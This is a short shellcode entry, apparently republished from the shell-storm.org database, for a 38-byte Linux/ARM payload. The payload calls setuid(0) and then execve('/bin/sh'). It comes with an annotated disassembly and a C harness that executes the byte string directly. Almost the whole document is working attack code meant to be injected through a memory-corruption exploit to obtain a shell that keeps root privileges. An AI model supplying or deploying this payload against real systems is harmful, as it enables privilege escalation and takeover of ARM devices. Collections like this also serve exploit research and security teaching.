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Linux/ARM - setuid(0) & execve("/bin/sh","/bin/sh",0) - 38 bytes
来源:http://shell-storm.org 作者:Salwan 发布时间:2010-06-30  

/*
Title:  Linux/ARM - setuid(0) & execve("/bin/sh","/bin/sh",0) - 38 bytes
Date:   2010-06-29
Tested: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/


    8054: e28f3001  add r3, pc, #1 ; 0x1
    8058: e12fff13  bx r3
    805c: 1b24       subs r4, r4, r4
    805e: 1c20       adds r0, r4, #0
    8060: 2717       movs r7, #23
    8062: df01       svc 1
    8064: 4678       mov r0, pc
    8066: 300a       adds r0, #10
    8068: 9001       str r0, [sp, #4]
    806a: a901       add r1, sp, #4
    806c: 1a92       subs r2, r2, r2
    806e: 270b       movs r7, #11
    8070: df01       svc 1
    8072: 2f2f       cmp r7, #47
    8074: 6962       ldr r2, [r4, #20]
    8076: 2f6e       cmp r7, #110
    8078: 6873       ldr r3, [r6, #4]
*/

#include <stdio.h>

char *SC = "\x01\x30\x8f\xe2"
           "\x13\xff\x2f\xe1"
           "\x24\x1b\x20\x1c"
           "\x17\x27\x01\xdf"
           "\x78\x46\x0a\x30"
           "\x01\x90\x01\xa9"
           "\x92\x1a\x0b\x27"
           "\x01\xdf\x2f\x2f"
           "\x62\x69\x6e\x2f"
           "\x73\x68";


int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}


 
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